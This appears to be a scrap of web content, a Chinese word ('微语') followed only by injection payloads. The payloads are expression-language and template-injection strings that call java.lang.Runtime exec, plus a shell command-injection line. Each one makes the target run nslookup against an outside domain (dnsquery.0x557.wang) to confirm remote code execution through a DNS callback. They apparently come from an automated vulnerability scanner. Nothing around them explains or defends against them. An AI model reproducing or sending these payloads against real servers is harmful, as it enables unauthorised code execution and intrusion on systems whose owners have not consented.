微语
T(java.lang.Runtime).getRuntime().exec("bash -c 'nslookup bk4iub8j$((8422*9126)).dnsquery.0x557.wang'")+T(java.lang.Runtime).getRuntime().exec("cmd /c nslookup bk4iub8j%CMDEXTVERSION%.dnsquery.0x557.wang")
${''.getClass().forName('java.lang.Runtime').getMethod('exec',''.getClass()).invoke(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null),'bash -c \'nslookup xxbgq7a1$((5541*1456)).dnsquery.0x557.wang\'')}${''.getClass().forName('java.lang.Runtime').getMethod('exec',''.getClass()).invoke(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null),'cmd /c nslookup xxbgq7a1%CMDEXTVERSION%.dnsquery.0x557.wang')}
${T(java.lang.Runtime).getRuntime().exec("bash -c 'nslookup m8cvr6sj$((5724*3860)).dnsquery.0x557.wang'")}+${T(java.lang.Runtime).getRuntime().exec("cmd /c nslookup m8cvr6sj%CMDEXTVERSION%.dnsquery.0x557.wang")}
__${T(java.lang.Runtime).getRuntime().exec("bash -c 'nslookup m8cvr6sj$((5724*3860)).dnsquery.0x557.wang'")}__::__${T(java.lang.Runtime).getRuntime().exec("cmd /c nslookup m8cvr6sj%CMDEXTVERSION%.dnsquery.0x557.wang")}__::..
;nslookup o177r4o5$((5375*7301)).dnsquery.0x557.wang | nslookup o177r4o5%CMDEXTVERSION%.dnsquery.0x557.wang ; #